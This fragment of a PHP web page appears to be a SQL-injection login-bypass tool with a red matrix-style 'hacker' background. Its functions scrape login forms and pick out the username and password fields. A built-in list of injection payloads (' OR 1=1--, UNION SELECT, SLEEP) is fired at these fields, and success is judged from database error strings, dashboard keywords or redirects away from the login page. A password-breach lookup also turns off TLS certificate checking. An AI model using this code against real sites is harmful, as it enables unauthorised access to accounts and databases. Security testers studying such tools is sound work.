    if($method==='POST'){curl_setopt($ch,CURLOPT_POST,true);curl_setopt($ch,CURLOPT_POSTFIELDS,http_build_query($data));}
    $resp=curl_exec($ch);$code=curl_getinfo($ch,CURLINFO_HTTP_CODE);$hsize=curl_getinfo($ch,CURLINFO_HEADER_SIZE);$err=curl_error($ch);curl_close($ch);
    return array('headers'=>substr($resp,0,$hsize),'body'=>substr($resp,$hsize),'http_code'=>$code,'error'=>$err);
}

function extractForms($html){preg_match_all('/<form[^>]*>(.*?)<\/form>/si',$html,$m,PREG_SET_ORDER);$forms=array();foreach($m as $f){$a='';$mt='POST';if(preg_match('/action=["\']([^"\']*)["\']/i',$f[0],$am))$a=$am[1];if(preg_match('/method=["\']([^"\']*)["\']/i',$f[0],$mm))$mt=strtoupper($mm[1]);$inps=array();preg_match_all('/<input[^>]*>/i',$f[0],$im);foreach($im[0] as $ih){$n='';$t='text';if(preg_match('/name=["\']([^"\']*)["\']/i',$ih,$nm))$n=$nm[1];if(preg_match('/type=["\']([^"\']*)["\']/i',$ih,$tm))$t=$tm[1];$v='';if(preg_match('/value=["\']([^"\']*)["\']/i',$ih,$vm))$v=$vm[1];if($n)$inps[]=array('name'=>$n,'type'=>$t,'value'=>$v);}$forms[]=array('action'=>$a,'method'=>$mt,'inputs'=>$inps);}return $forms;}
function findUsernameField($inps){foreach($inps as $i){if($i['type']=='hidden'||$i['type']=='submit')continue;if(stripos($i['name'],'user')!==false||stripos($i['name'],'login')!==false||stripos($i['name'],'email')!==false)return $i['name'];}foreach($inps as $i)if($i['type']!='hidden'&&$i['type']!='submit'&&$i['type']!='password')return $i['name'];return null;}
function findPasswordField($inps){foreach($inps as $i)if($i['type']=='password'||stripos($i['name'],'pass')!==false)return $i['name'];return null;}
function addHiddenFields(&$d,$inps){foreach($inps as $i)if($i['type']=='hidden'&&!isset($d[$i['name']]))$d[$i['name']]=isset($i['value'])?$i['value']:'';}
function resolveUrl($u,$b){if(empty($u))return $b;if(preg_match('#^https?://#',$u))return $u;return rtrim($b,'/').'/'.ltrim($u,'/');}
function addParamToUrl($u,$p,$v){$pr=parse_url($u);$q=array();if(isset($pr['query']))parse_str($pr['query'],$q);$q[$p]=$v;$s=isset($pr['scheme'])?$pr['scheme']:'http';$h=isset($pr['host'])?$pr['host']:'localhost';$pt=isset($pr['path'])?$pr['path']:'/';return"{$s}://{$h}{$pt}?".http_build_query($q);}
function checkForAnyError($b){$e=array('SQL syntax','mysql_fetch','ORA-','PostgreSQL','SQLite','unclosed quotation','You have an error in your SQL','MySQL Error','ODBC Driver','SQLSTATE','Microsoft OLE DB','Unknown column','supplied argument','syntax error');foreach($e as $er)if(stripos($b,$er)!==false)return $er;return false;}
function checkAuthBypass($r,$n){$s=array('welcome','dashboard','logout','admin panel','control panel','member area','my account');foreach($s as $w)if(stripos($r['body'],$w)!==false&&stripos($n['body'],$w)===false)return array('success'=>true,'evidence'=>"Found: '{$w}'");if(in_array($r['http_code'],array(301,302,303))){if(preg_match('/Location: ([^\n]+)/i',$r['headers'],$m)){$l=trim($m[1]);if(stripos($l,'login')===false)return array('success'=>true,'evidence'=>"Redirect: {$l}");}}return array('success'=>false,'evidence'=>'');}
function getDefaultSQLPayloads(){return array("'","' OR '1'='1","' OR 1=1--","' OR 1=1#","admin' --","' OR '1'='1' --","' OR 1=1 LIMIT 1 -- -+","') OR ('1'='1","' UNION SELECT 1--","' UNION SELECT 1,2--","' UNION SELECT 1,2,3--","' OR SLEEP(5)--","' AND SLEEP(5)--");}
function checkPasswordBreach($p){$h=strtoupper(sha1($p));$pre=substr($h,0,5);$suf=substr($h,5);$ch=curl_init("https://api.pwnedpasswords.com/range/".$pre);curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>5,CURLOPT_SSL_VERIFYPEER=>false]);$r=curl_exec($ch);curl_close($ch);if($r){foreach(explode("\n",$r)as $l)if(strpos($l,$suf)===0){$c=intval(explode(':',$l)[1]);return array('breached'=>true,'count'=>$c,'message'=>"⚠️ Found in {$c} breaches!");}}return array('breached'=>false,'count'=>0,'message'=>"✅ Not in breaches.");}
?>
            </div>
        </div>
    </div>
    
    <script>
    const canvas=document.createElement('canvas');const ctx=canvas.getContext('2d');
    document.getElementById('matrixBg').appendChild(canvas);canvas.width=window.innerWidth;canvas.height=window.innerHeight;
    const chars='01アイウエオ';const drops=Array(Math.floor(canvas.width/14)).fill(1);
    function draw(){ctx.fillStyle='rgba(0,0,0,0.05)';ctx.fillRect(0,0,canvas.width,canvas.height);ctx.fillStyle='#f00';ctx.font='14px monospace';for(let i=0;i<drops.length;i++){ctx.fillText(chars[Math.floor(Math.random()*chars.length)],i*14,drops[i]*14);if(drops[i]*14>canvas.height&&Math.random()>0.975)drops[i]=0;drops[i]++;}}
    setInterval(draw,50);
    window.addEventListener('resize',()=>{canvas.width=window.innerWidth;canvas.height=window.innerHeight;});
    setInterval(()=>{const t=document.getElementById('liveTerminal');if(t)t.scrollTop=t.scrollHeight;},200);
    </script>
</body>
</html>